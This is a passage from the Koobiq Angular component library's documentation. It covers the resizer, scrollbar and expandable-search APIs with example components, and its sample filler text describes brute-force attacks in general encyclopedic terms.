    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ResizerOverviewExample {
    protected sizeChanged(event: KbqResizerSizeChangeEvent): void {
        console.debug('Resized to:', event);
    }
}
```

#### Resize Direction

Set by the `kbqResizer` attribute in the array format `[x, y]`, where:

- `x` - horizontal direction: `-1` (left), `0` (disabled), `1` (right).
- `y` - vertical direction: `-1` (up), `0` (disabled), `1` (down).

```html
<div kbqResizable>
    <i [kbqResizer]="[1, 0]"></i>
</div>
```

### API

#### Directives

##### KbqResizable (directive)

Directive (container) sets whether the element is resizable.

```html
<div kbqResizable>
    <div [kbqResizer]="[-1, 0]"></div>
</div>
```

```ts
@Directive({ selector: '[kbqResizable]', exportAs: 'kbqResizable' })
class KbqResizable {}
```

##### KbqResizer (directive)

Directive which defines element resizing direction.

```ts
@Directive({ selector: '[kbqResizer]', exportAs: 'kbqResizer' })
class KbqResizer {
    readonly direction = input.required<KbqResizerDirection>({
        alias: 'kbqResizer'
    });
    readonly cursor = input<string | null>(null);
    readonly disableSizeUpdate = input<boolean>(false);
    readonly resizeStart = output<KbqResizerSizeChangeEvent>();
    readonly sizeChange = output<KbqResizerSizeChangeEvent>();
}
```

- `[kbqResizer]`: `KbqResizerDirection` — Direction of element resizing.
- `[cursor]`: `string | null` — Overrides the cursor that is otherwise derived from the resizing direction.
- `[disableSizeUpdate]`: `boolean` — Stops the directive from writing the new size onto the resizable element, leaving the host in
  control: `resizeStart` and `sizeChange` still report the size the drag asks for, and the
  host decides what to apply. Use it when the element's size is owned by a layout the directive must
  not fight — `KbqSplitter` sizes its panels through a grid template on their common parent.

  The reported size stays measured from where the drag started rather than from the element, so a host
  that clamps or ignores a move does not accumulate drift over the rest of the drag.
- `(resizeStart)`: `KbqResizerSizeChangeEvent` — Emits the element size when a pointer drag begins, after the directive has committed to the resize.
- `(sizeChange)`: `KbqResizerSizeChangeEvent` — Emits the new size of the element after resizing.

#### Types

##### KbqResizerDirection (type)

Directions for resizing.

Horizontal direction (x):
- Left: -1
- None: 0
- Right: 1

Vertical direction (y):
- Up: -1
- None: 0
- Down: 1

```ts
type KbqResizerDirection = [x: -1 | 0 | 1, y: -1 | 0 | 1];
```

##### KbqResizerSizeChangeEvent (type)

Event emitted when the size of the resizable element changes.

```ts
type KbqResizerSizeChangeEvent = {
    width: number;
    height: number;
};
```

## Scrollbar

- Entry point: `@koobiq/components/scrollbar`
- Page: https://koobiq.io/en/components/scrollbar/overview

### Overview

`KbqScrollbar` is a customizable scrollbar. It can remain visible, appear on hover or while scrolling, or stay hidden. The component supports mouse wheel, touch gestures, and keyboard controls and provides methods for programmatic scrolling.

#### Display mode

The `kbqScrollbarMode` input sets the display mode:

| Mode     | Description                                                           |
| -------- | --------------------------------------------------------------------- |
| `hover`  | Appears on pointer hover or while scrolling. This is the default mode |
| `always` | Remains visible while the content overflows                           |
| `native` | Displays the browser's native scrollbar                               |
| `hidden` | Remains hidden while the content can still be scrolled                |

In `hover` and `always` modes a bar is drawn only for an axis the user can scroll: an axis whose computed `overflow` is `hidden`, `clip` or `visible` gets no bar, however far its content overflows.

`kbqScrollbarOptionsProvider` sets the default mode for the entire application or a specific injector.

**Example: Scrollbar overview example** (`scrollbar-overview`)

```ts scrollbar-overview-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqScrollbar, KbqScrollbarMode } from '@koobiq/components/scrollbar';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'scrollbar-overview-example',
    imports: [KbqScrollbar, KbqSelectModule, FormsModule],
    template: `
        <kbq-form-field class="example-form-field">
            <kbq-select [(ngModel)]="mode">
                @for (mode of modes; track mode) {
                    <kbq-option [value]="mode">{{ mode }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>

        <div class="example-scrollbar-wrapper">
            <kbq-scrollbar class="example-scrollbar" [kbqScrollbarMode]="mode()">
                <p>
                    In cryptography, a brute-force attack or exhaustive key search is a cryptanalytic attack that
                    consists of an attacker submitting many possible keys or passwords with the hope of eventually
                    guessing correctly. This strategy can theoretically be used to break any form of encryption that is
                    not information-theoretically secure.[1] However, in a properly designed cryptosystem the chance of
                    successfully guessing the key is negligible.
                </p>
                <p>
                    Brute-force attacks are an application of brute-force search, the general problem-solving technique
                    of enumerating all candidates and checking each one. The word 'hammering' is sometimes used to
                    describe a brute-force attack,[4] with 'anti-hammering' for countermeasures.[5]
                </p>
                <p>
                    When cracking passwords, this method is very fast when used to check all short passwords, but for
                    longer passwords other methods such as the dictionary attack are used because a brute-force search
                    takes too long. Longer passwords, passphrases and keys have more possible values, making them
                    exponentially more difficult to crack than shorter ones due to the diversity of characters.[2]
                </p>
                <p>
                    Brute-force attacks can be made less effective by implementing key stretching techniques making it
                    more difficult for an attacker to recognize when the code has been cracked or by making the attacker
                    do more work to test each guess. One of the measures of the strength of an encryption system is how
                    long it would theoretically take an attacker to mount a successful brute-force attack against it.[3]
                </p>
                <p>
                    When cracking passwords, this method is very fast when used to check all short passwords, but for
                    longer passwords other methods such as the dictionary attack are used because a brute-force search
                    takes too long. Longer passwords, passphrases and keys have more possible values, making them
                    exponentially more difficult to crack than shorter ones due to the diversity of characters.[2]
                </p>
                <p>
                    Brute-force attacks are an application of brute-force search, the general problem-solving technique
                    of enumerating all candidates and checking each one. The word 'hammering' is sometimes used to
                    describe a brute-force attack,[4] with 'anti-hammering' for countermeasures.[5]
                </p>
            </kbq-scrollbar>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }

        .example-form-field {
            width: 200px;
        }

        .example-scrollbar-wrapper {
            overflow: hidden;
            resize: both;
            width: 100%;
            max-width: 100%;
            min-width: 200px;
            height: 200px;
            max-height: 400px;
            min-height: 200px;
        }

        .example-scrollbar {
            height: 100%;
            width: 100%;
            border-radius: var(--kbq-size-border-radius);
            background-color: var(--kbq-background-bg-secondary);
            outline-offset: -1px;
        }

        p {
            width: 150%;
            margin: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ScrollbarOverviewExample {
    protected readonly modes: KbqScrollbarMode[] = ['hover', 'always', 'native', 'hidden'] as const;
    protected readonly mode = model<KbqScrollbarMode>('hover');
}
```

#### Virtual scrolling

Apply the `kbqScrollbarViewport` directive to `cdk-virtual-scroll-viewport` to add a customizable scrollbar. The directive supports the same display modes.

**Example: Scrollbar with virtual scroll** (`scrollbar-virtual-scroll`)

```ts scrollbar-virtual-scroll-example.ts
import { ScrollingModule } from '@angular/cdk/scrolling';
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqScrollbarViewport } from '@koobiq/components/scrollbar';

@Component({
    selector: 'scrollbar-virtual-scroll-example',
    imports: [KbqScrollbarViewport, ScrollingModule, KbqButtonModule],
    template: `
        <button kbq-button (click)="addItems()">Add items</button>

        <cdk-virtual-scroll-viewport kbqScrollbarViewport class="example-scrollbar" itemSize="32">
            <div *cdkVirtualFor="let item of items()" class="example-item">{{ item }}</div>
        </cdk-virtual-scroll-viewport>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }

        .example-scrollbar {
            height: 320px;
            width: 320px;
            border-radius: var(--kbq-size-border-radius);
            background-color: var(--kbq-background-bg-secondary);
        }

        .example-item {
            padding: 0 var(--kbq-size-s);
            line-height: 32px;
            height: 32px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ScrollbarVirtualScrollExample {
    protected readonly items = signal(Array.from({ length: 100 }).map((_, i) => `Item #${i}`));

    protected addItems(): void {
        const nextIndex = this.items().length;
        const newItems = Array.from({ length: 100 }).map((_, i) => `Item #${nextIndex + i}`);

        this.items.update((items) => [...items, ...newItems]);
    }
}
```

#### Programmatic scrolling

Access the component instance through the `kbqScrollbar` export and call one of its public methods:

| Method                             | Description                                                                            |
| ---------------------------------- | -------------------------------------------------------------------------------------- |
| `scrollTo`                         | Scrolls to the specified coordinates                                                   |
| `scrollToTop` and `scrollToBottom` | Scroll to the top or bottom edge                                                       |
| `scrollStart` and `scrollEnd`      | Scroll to the logical start or end horizontally, respecting RTL                        |
| `scrollToElement`                  | Scrolls to an element specified directly or by a CSS selector. Supports custom offsets |
| `scrollIntoView`                   | Centers an element within the viewport                                                 |

The `behavior` parameter accepts `auto`, `instant`, and `smooth`.

**Example: Scrollbar scrollTo methods** (`scrollbar-scroll-to`)

```ts scrollbar-scroll-to-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqScrollbar } from '@koobiq/components/scrollbar';

@Component({
    selector: 'scrollbar-scroll-to-example',
    imports: [KbqScrollbar, KbqButtonModule],
    template: `
        <div class="example-buttons">
            <button kbq-button (click)="scrollbar.scrollToTop('smooth')">Scroll top</button>
            <button kbq-button (click)="scrollbar.scrollToBottom('smooth')">Scroll bottom</button>
            <button kbq-button (click)="scrollbar.scrollStart('smooth')">Scroll start</button>
            <button kbq-button (click)="scrollbar.scrollEnd('smooth')">Scroll end</button>
            <button
                kbq-button
                (click)="scrollbar.scrollToElement(scrollToElementTarget, { behavior: 'smooth', top: 16, left: 16 })"
            >
                Scroll to element
            </button>
            <button kbq-button (click)="scrollbar.scrollIntoView(scrollIntoViewTarget, 'smooth')">
                Scroll into view
            </button>
        </div>

        <kbq-scrollbar #scrollbar="kbqScrollbar" class="example-scrollbar">
            <p>
                In cryptography, a brute-force attack or exhaustive key search is a cryptanalytic attack that consists
                of an attacker submitting many possible keys or passwords with the hope of eventually guessing
                correctly. This strategy can theoretically be used to break any form of encryption that is not
                information-theoretically secure.[1] However, in a properly designed cryptosystem the chance of
                successfully guessing the key is negligible.
            </p>
            <p>
                Brute-force attacks can be made less effective by implementing key stretching techniques making it more
                difficult for an attacker to recognize when the code has been cracked or by making the attacker do more
                work to test each guess. One of the measures of the strength of an encryption system is how long it
                would theoretically take an attacker to mount a successful brute-force attack against it.[3]
            </p>
            <p>
                Brute-force attacks can be made less effective by implementing key stretching techniques making it more
                difficult for an attacker to recognize when the code has been cracked or by making the attacker do more
                work to test each guess. One of the measures of the strength of an encryption system is how long it
                would theoretically take an attacker to mount a successful brute-force attack against it.[3]
            </p>
            <p>
                Brute-force attacks can be made less effective by implementing key stretching techniques making it more
                difficult for an attacker to recognize when the code has been cracked or by making the attacker do more
                work to test each guess. One of the measures of the strength of an encryption system is how long it
                would theoretically take an attacker to mount a successful brute-force attack against it.[3]
            </p>
            <p>
                <b #scrollToElementTarget>[SCROLL TO ELEMENT]</b>
                When cracking passwords, this method is very fast when used to check all short passwords, but for longer
                passwords other methods such as the dictionary attack are used because a brute-force search takes too
                long. Longer passwords, passphrases and keys have more possible values, making them exponentially more
                difficult to crack than shorter ones due to the diversity of characters.[2]
            </p>
            <p>
                Brute-force attacks can be made less effective by implementing key stretching techniques making it more
                difficult for an attacker to recognize when
                <b #scrollIntoViewTarget>[SCROLL INTO VIEW]</b>
                the code has been cracked or by making the attacker do more work to test each guess. One of the measures
                of the strength of an encryption system is how long it would theoretically take an attacker to mount a
                successful brute-force attack against it.[3]
            </p>
            <p>
                Brute-force attacks can be made less effective by implementing key stretching techniques making it more
                difficult for an attacker to recognize when the code has been cracked or by making the attacker do more
                work to test each guess. One of the measures of the strength of an encryption system is how long it
                would theoretically take an attacker to mount a successful brute-force attack against it.[3]
            </p>
            <p>
                Brute-force attacks can be made less effective by implementing key stretching techniques making it more
                difficult for an attacker to recognize when the code has been cracked or by making the attacker do more
                work to test each guess. One of the measures of the strength of an encryption system is how long it
                would theoretically take an attacker to mount a successful brute-force attack against it.[3]
            </p>
            <p>
                In cryptography, a brute-force attack or exhaustive key search is a cryptanalytic attack that consists
                of an attacker submitting many possible keys or passwords with the hope of eventually guessing
                correctly. This strategy can theoretically be used to break any form of encryption that is not
                information-theoretically secure.[1] However, in a properly designed cryptosystem the chance of
                successfully guessing the key is negligible.
            </p>
        </kbq-scrollbar>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }

        .example-buttons {
            display: flex;
            flex-wrap: wrap;
            gap: var(--kbq-size-s);
        }

        .example-scrollbar {
            max-height: 200px;
            width: 100%;
            border-radius: var(--kbq-size-border-radius);
            background-color: var(--kbq-background-bg-secondary);
        }

        p {
            width: 150%;
            margin: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ScrollbarScrollToExample {}
```

#### Scroll indicator

Call `flashScrollIndicators` to briefly reveal the scrollbar and indicate that scrolling is available:

```ts
import { afterNextRender, ChangeDetectionStrategy, Component, viewChild } from '@angular/core';
import { KbqScrollbar } from '@koobiq/components/scrollbar';

@Component({
    imports: [KbqScrollbar],
    template: `
        <kbq-scrollbar>...</kbq-scrollbar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FlashScrollIndicatorsExample {
    private readonly scrollbar = viewChild.required(KbqScrollbar);

    constructor() {
        afterNextRender(() => {
            this.scrollbar().flashScrollIndicators();
        });
    }
}
```

#### Browser scrollbar

The `kbqNativeScrollbar` directive customizes an element's scrollbar without replacing the browser's scrolling mechanism. Add `kbqNativeScrollbarDescendants` to apply the same customization to the scrollbars of descendant elements.

**Example: Native scrollbar example** (`native-scrollbar`)

```ts native-scrollbar-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqNativeScrollbar } from '@koobiq/components/scrollbar';

@Component({
    selector: 'native-scrollbar-example',
    imports: [KbqNativeScrollbar],
    template: `
        <div kbqNativeScrollbar class="example-scrollbar">
            <p>
                In cryptography, a brute-force attack or exhaustive key search is a cryptanalytic attack that consists
                of an attacker submitting many possible keys or passwords with the hope of eventually guessing
                correctly. This strategy can theoretically be used to break any form of encryption that is not
                information-theoretically secure.[1] However, in a properly designed cryptosystem the chance of
                successfully guessing the key is negligible.
            </p>
            <p>
                When cracking passwords, this method is very fast when used to check all short passwords, but for longer
                passwords other methods such as the dictionary attack are used because a brute-force search takes too
                long. Longer passwords, passphrases and keys have more possible values, making them exponentially more
                difficult to crack than shorter ones due to the diversity of characters.[2]
            </p>
            <p>
                Brute-force attacks can be made less effective by implementing key stretching techniques making it more
                difficult for an attacker to recognize when the code has been cracked or by making the attacker do more
                work to test each guess. One of the measures of the strength of an encryption system is how long it
                would theoretically take an attacker to mount a successful brute-force attack against it.[3]
            </p>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            padding: var(--kbq-size-l);
        }

        .example-scrollbar {
            overflow: auto;
            height: 200px;
            width: 100%;
            border-radius: var(--kbq-size-border-radius);
            background-color: var(--kbq-background-bg-secondary);
        }

        p {
            width: 150%;
            margin: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NativeScrollbarExample {}
```

#### Scroll events

Subscribe to `scrollChanges` to track `scroll` events:

```ts
import { afterNextRender, ChangeDetectionStrategy, Component, DestroyRef, inject, viewChild } from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { KbqScrollbar } from '@koobiq/components/scrollbar';

@Component({
    imports: [KbqScrollbar],
    template: `
        <kbq-scrollbar>...</kbq-scrollbar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ScrollEventsExample {
    private readonly scrollbar = viewChild.required(KbqScrollbar);
    private readonly destroyRef = inject(DestroyRef);

    constructor() {
        afterNextRender(() => {
            this.scrollbar()
                .scrollChanges.pipe(takeUntilDestroyed(this.destroyRef))
                .subscribe(() => {
                    // Handle the scroll event.
                });
        });
    }
}
```

### API

#### Components

##### KbqScrollbar (component)

Custom scrollbar wrapper: projects content and overlays a scrollbar track over it (created by its `KbqScrollbarViewport` host directive).

```ts
@Component({ selector: 'kbq-scrollbar', exportAs: 'kbqScrollbar' })
class KbqScrollbar {
    readonly mode = input<KbqScrollbarMode>(this.options.mode, {
        alias: 'kbqScrollbarMode'
    });
    readonly hideDelay = input<number>(this.options.hideDelay, {
        alias: 'kbqScrollbarHideDelay'
    });
    readonly scrollChanges: Observable<Event>;
    getNativeElement(): HTMLElement;
    scrollTo(options: KbqScrollbarScrollToOptions): void;
    scrollToTop(behavior?: ScrollBehavior): void;
    scrollToBottom(behavior?: ScrollBehavior): void;
    scrollStart(behavior?: ScrollBehavior): void;
    scrollEnd(behavior?: ScrollBehavior): void;
    scrollToElement(
        target: HTMLElement | string,
        options?: KbqScrollbarScrollToElementOptions
    ): void;
    scrollIntoView(
        target: HTMLElement,
        behavior?: ScrollBehavior
    ): void;
    flashScrollIndicators(): void;
}
```

- `[kbqScrollbarMode]`: `KbqScrollbarMode` — Visibility mode for the scrollbar. Defaults to the app-wide `KBQ_SCROLLBAR_OPTIONS`.
- `[kbqScrollbarHideDelay]`: `number` — How long the scroll-revealed `hover`-mode track stays visible after scrolling stops, in milliseconds.
  Defaults to the app-wide `KBQ_SCROLLBAR_OPTIONS`.
- `scrollChanges`: `Observable<Event>` — Emits on every native `scroll` event of the viewport. Emits outside Angular's zone — see `CdkScrollable.elementScrolled`.
- `getNativeElement()`: `HTMLElement` — The scrollbar's native scrollable element.
- `scrollTo()`: `void` — Scrolls to the specified offsets. RTL-normalized — see `CdkScrollable.scrollTo`.
- `scrollToTop()`: `void` — Scrolls to the start of the vertical axis.
- `scrollToBottom()`: `void` — Scrolls to the end of the vertical axis.
- `scrollStart()`: `void` — Scrolls to the logical start of the horizontal axis — the right edge in RTL, left in LTR.
- `scrollEnd()`: `void` — Scrolls to the logical end of the horizontal axis — the left edge in RTL, right in LTR.
- `scrollToElement()`: `void` — Scrolls `target` (an element, or a selector resolved against this scrollbar) into view.
- `scrollIntoView()`: `void` — Scrolls `target` to the center of the viewport.
- `flashScrollIndicators()`: `void` — Briefly reveals the scrollbar track — see `KbqScrollbarViewport.flashScrollIndicators`.

#### Directives

##### KbqNativeScrollbar (directive)

Customizes the browser-rendered scrollbar of its host without replacing native scrolling.

```ts
@Directive({ selector: '[kbqNativeScrollbar]', exportAs: 'kbqNativeScrollbar' })
class KbqNativeScrollbar {
    readonly descendants = input<boolean>(this.options.descendants, {
        alias: 'kbqNativeScrollbarDescendants'
    });
}
```

- `[kbqNativeScrollbarDescendants]`: `boolean` — Whether browser-rendered scrollbars of descendant elements should also be customized.
  Defaults to `KBQ_NATIVE_SCROLLBAR_OPTIONS`.

##### KbqScrollbarViewport (directive)

Marks its host element as the custom scrollbar's scroll target, hiding its native scrollbar whenever a custom scrollbar track replaces it.

```ts
@Directive({ selector: '[kbqScrollbarViewport]' })
class KbqScrollbarViewport {
    readonly mode = input<KbqScrollbarMode>(this.options.mode, {
        alias: 'kbqScrollbarMode'
    });
    readonly hideDelay = input<number>(this.options.hideDelay, {
        alias: 'kbqScrollbarHideDelay'
    });
    readonly flashes: Observable<void>;
    readonly scrollChanges: Observable<Event>;
    flashScrollIndicators(): void;
    scrollTo(options: KbqScrollbarScrollToOptions): void;
    scrollToTop(behavior?: ScrollBehavior): void;
    scrollToBottom(behavior?: ScrollBehavior): void;
    scrollStart(behavior?: ScrollBehavior): void;
    scrollEnd(behavior?: ScrollBehavior): void;
    scrollToElement(
        target: HTMLElement | string,
        options?: KbqScrollbarScrollToElementOptions
    ): void;
    scrollIntoView(
        target: HTMLElement,
        behavior?: ScrollBehavior
    ): void;
    getNativeElement(): HTMLElement;
}
```

- `[kbqScrollbarMode]`: `KbqScrollbarMode` — Visibility mode for this viewport's scrollbar. Defaults to the app-wide `KBQ_SCROLLBAR_OPTIONS`.
- `[kbqScrollbarHideDelay]`: `number` — How long the scroll-revealed `hover`-mode track stays visible after scrolling stops, in milliseconds.
  Defaults to the app-wide `KBQ_SCROLLBAR_OPTIONS`.
- `flashes`: `Observable<void>` — Emits when `flashScrollIndicators` is called.
- `scrollChanges`: `Observable<Event>` — Emits on every native `scroll` event of the viewport. Emits outside Angular's zone — see `CdkScrollable.elementScrolled`.
- `flashScrollIndicators()`: `void` — Briefly reveals an overflowing `hover`-mode scrollbar.
- `scrollTo()`: `void` — Scrolls to the specified offsets. RTL-normalized — see `CdkScrollable.scrollTo`.
- `scrollToTop()`: `void` — Scrolls to the start of the vertical axis.
- `scrollToBottom()`: `void` — Scrolls to the end of the vertical axis.
- `scrollStart()`: `void` — Scrolls to the logical start of the horizontal axis — the right edge in RTL, left in LTR.
- `scrollEnd()`: `void` — Scrolls to the logical end of the horizontal axis — the left edge in RTL, right in LTR.
- `scrollToElement()`: `void` — Scrolls `target` (an element, or a selector resolved against this viewport) into view.
- `scrollIntoView()`: `void` — Scrolls `target` to the center of the viewport.
- `getNativeElement()`: `HTMLElement` — The viewport's native scrollable element — the host this directive is applied to.

#### Functions

##### kbqNativeScrollbarOptionsProvider (function)

Overrides the default native scrollbar options within the given injector scope.

```ts
function kbqNativeScrollbarOptionsProvider(
    options: Partial<KbqNativeScrollbarOptions>
): Provider;
```

##### kbqScrollbarOptionsProvider (function)

Overrides the default scrollbar options within the given injector scope.

```ts
function kbqScrollbarOptionsProvider(
    options: Partial<KbqScrollbarOptions>
): Provider;
```

#### Types

##### KbqNativeScrollbarOptions (type)

Configuration for `KbqNativeScrollbar`.

```ts
type KbqNativeScrollbarOptions = {
    descendants: boolean;
};
```

- `descendants`: `boolean` — Whether browser-rendered scrollbars of descendant elements should also be customized.

##### KbqScrollbarMode (type)

How the scrollbar is presented:
- `hover` — track appears on pointer hover or while scrolling (default);
- `always` — track is always visible while the content overflows;
- `native` — the browser's native scrollbar is used;
- `hidden` — no scrollbar is shown, but the content stays scrollable.

`hover` and `always` draw a bar only for an axis the user can scroll: one whose computed `overflow` is
`hidden`, `clip` or `visible` gets none, however far its content overflows.

```ts
type KbqScrollbarMode = 'always' | 'hidden' | 'hover' | 'native';
```

##### KbqScrollbarOptions (type)

Configuration for `KbqScrollbar`.

```ts
type KbqScrollbarOptions = {
    mode: KbqScrollbarMode;
    hideDelay: number;
};
```

- `hideDelay`: `number` — How long the scroll-revealed track stays visible after scrolling stops, in milliseconds.

##### KbqScrollbarScrollToElementOptions (type)

Options accepted by `KbqScrollbarViewport.scrollToElement`/`KbqScrollbar.scrollToElement`.

```ts
type KbqScrollbarScrollToElementOptions = {
    top?: number;
    left?: number;
    behavior?: ScrollBehavior;
};
```

- `top?`: `number` — Extra gap to leave above the target, in px — e.g. so it doesn't end up under a sticky header.
- `left?`: `number` — Extra gap to leave to the left of the target, in px.

##### KbqScrollbarScrollToOptions (type)

Options accepted by `KbqScrollbarViewport.scrollTo`/`KbqScrollbar.scrollTo` — RTL-normalized, see `CdkScrollable.scrollTo`.

```ts
type KbqScrollbarScrollToOptions = ExtendedScrollToOptions;
```

#### Constants

##### KBQ_NATIVE_SCROLLBAR_OPTIONS (const)

Injection token holding the current `KbqNativeScrollbarOptions`.

```ts
const KBQ_NATIVE_SCROLLBAR_OPTIONS: InjectionToken<KbqNativeScrollbarOptions>;
```

##### KBQ_SCROLLBAR_OPTIONS (const)

Injection token holding the current `KbqScrollbarOptions`.

```ts
const KBQ_SCROLLBAR_OPTIONS: InjectionToken<KbqScrollbarOptions>;
```

## Search expandable

- Entry point: `@koobiq/components/search-expandable`
- NgModule: `KbqSearchExpandableModule`
- Page: https://koobiq.io/en/components/search-expandable/overview

### Overview

A search field that expands from a compact icon button.

The component is a form control and has no standalone value input: bind it with `[formControl]`, `[formControlName]` or `[(ngModel)]`, otherwise it throws on initialization. The typed value reaches the bound control after `emitValueTimeout` milliseconds, or on `Enter` when `isEmitValueByEnterEnabled` is set.

The clear button and `Escape` clear a non-empty value while keeping the search expanded and the input focused; when the field is empty, they collapse the search.

**Example: search-expandable** (`search-expandable-overview`)

```ts search-expandable-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqSearchExpandableModule } from '@koobiq/components/search-expandable';

@Component({
    selector: 'search-expandable-overview-example',
    imports: [
        KbqSearchExpandableModule,
        FormsModule
    ],
    template: `
        <kbq-search-expandable [(ngModel)]="search" />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SearchExpandableOverviewExample {
    search: string;
}
```

The expandable search can be used, for example, in an action panel. When the bound model already holds a value, the search renders expanded:

**Example: search-expandable-in-header** (`search-expandable-in-header`)

```ts search-expandable-in-header-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqSearchExpandableModule } from '@koobiq/components/search-expandable';

@Component({
    selector: 'search-expandable-in-header-example',
    imports: [
        KbqSearchExpandableModule,
        FormsModule
    ],
    template: `
        <div class="example-search-expandable-in-header-example__panel">
            <div class="example-search-expandable-in-header-example__header">
                <div class="example-search-expandable-in-header-example__name kbq-subheading">Panel Title</div>
                <kbq-search-expandable [(ngModel)]="search" />
            </div>
            <div class="example-search-expandable-in-header-example__body"></div>
        </div>
    `,
    styles: `
        :host {
            display: flex;

            border-radius: inherit;

            margin: -20px;

            padding: var(--kbq-size-m);

            background: var(--kbq-background-bg-secondary);
        }

        .example-search-expandable-in-header-example__panel {
            width: 622px;

            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-m);

            background: var(--kbq-background-bg);
        }

        .example-search-expandable-in-header-example__header {
            display: flex;
            flex-direction: row;
            justify-content: space-between;
            align-items: center;

            max-height: var(--kbq-size-5xl);

            padding: var(--kbq-size-s) var(--kbq-size-m);

            border-bottom: 1px solid var(--kbq-line-contrast-less);
        }

        .example-search-expandable-in-header-example__body {
            height: 152px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SearchExpandableInHeaderExample {
    search: string = 'report';
}
```

### API

#### Components

##### KbqSearchExpandable (component)

```ts
@Component({ selector: 'kbq-search-expandable' })
class KbqSearchExpandable implements ControlValueAccessor {
    isOpened = model<boolean | undefined>();
    readonly isEmitValueByEnterEnabled = input<boolean>(false);
    readonly emitValueTimeout = input<number>(defaultEmitValueTimeout);
    tooltipText = input<string | null | undefined>();
    placeholder = input<string | null | undefined>();
    disabled = input<boolean | undefined>();
    readonly localeConfiguration: Signal<KbqSearchExpandableLocaleConfiguration>;
    readonly value: WritableSignal<string>;
    toggle(): void;
}
```

- `[(isOpened)]`: `boolean | undefined` — state of component.
- `[isEmitValueByEnterEnabled]`: `boolean` — Emit event by enter or not. Default is false
- `[emitValueTimeout]`: `number` — Timeout in milliseconds for emit event. The default value is taken from defaultEmitValueTimeout
- `[tooltipText]`: `string | null | undefined` — Tooltip text for the search button. When set, overrides the locale tooltip
- `[placeholder]`: `string | null | undefined` — Placeholder for input when expanded
- `[disabled]`: `boolean | undefined` — Whether the component is disabled. Also set by the bound control through `setDisabledState`.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `localeConfiguration`: `Signal<KbqSearchExpandableLocaleConfiguration>` — Strings currently rendered by the component.
- `value`: `WritableSignal<string>` — Current value in input. A write reaches the field, and the bound control once `emitValueTimeout` passes.

#### Constants

##### defaultEmitValueTimeout (const)

```ts
const defaultEmitValueTimeout: number;
```

##### defaultValue (const)

```ts
const defaultValue: string;
```

##### KBQ_SEARCH_EXPANDABLE_CONFIGURATION (const)

Deprecated: Use `KBQ_SEARCH_EXPANDABLE_LOCALE_CONFIGURATION`. Will be removed in 22.0.0.

```ts
const KBQ_SEARCH_EXPANDABLE_CONFIGURATION: InjectionToken<KbqSearchExpandableLocaleConfiguration>;
```

##### KBQ_SEARCH_EXPANDABLE_DEFAULT_CONFIGURATION (const)

Deprecated: Use `KBQ_SEARCH_EXPANDABLE_DEFAULT_LOCALE_CONFIGURATION`. Will be removed in 22.0.0.

```ts
const KBQ_SEARCH_EXPANDABLE_DEFAULT_CONFIGURATION: KbqSearchExpandableLocaleConfiguration;
```

##### KBQ_SEARCH_EXPANDABLE_DEFAULT_LOCALE_CONFIGURATION (const)

default configuration of search-expandable

```ts
const KBQ_SEARCH_EXPANDABLE_DEFAULT_LOCALE_CONFIGURATION: KbqSearchExpandableLocaleConfiguration;
```

##### KBQ_SEARCH_EXPANDABLE_LOCALE_CONFIGURATION (const)

Injection Token for providing configuration of search-expandable

```ts
const KBQ_SEARCH_EXPANDABLE_LOCALE_CONFIGURATION: InjectionToken<KbqSearchExpandableLocaleConfiguration>;
```

##### kbqSearchExpandableLocaleConfigurationProvider (const)

Utility provider for `KBQ_SEARCH_EXPANDABLE_LOCALE_CONFIGURATION`. Only the strings you pass are overridden; the
rest keep following the active locale.

```ts
const kbqSearchExpandableLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqSearchExpandableLocaleConfiguration>
) => Provider;
```

## Select

- Entry point: `@koobiq/components/select`
- NgModule: `KbqSelectModule`
- Page: https://koobiq.io/en/components/select/overview

### Overview

Select - allows the user to select one or more values from a predefined list.

**Example: Select** (`select-overview`)

```ts select-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-overview-example',
    imports: [KbqSelectModule],
    template: `
        <kbq-form-field>
            <kbq-select [value]="selected">
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectOverviewExample {
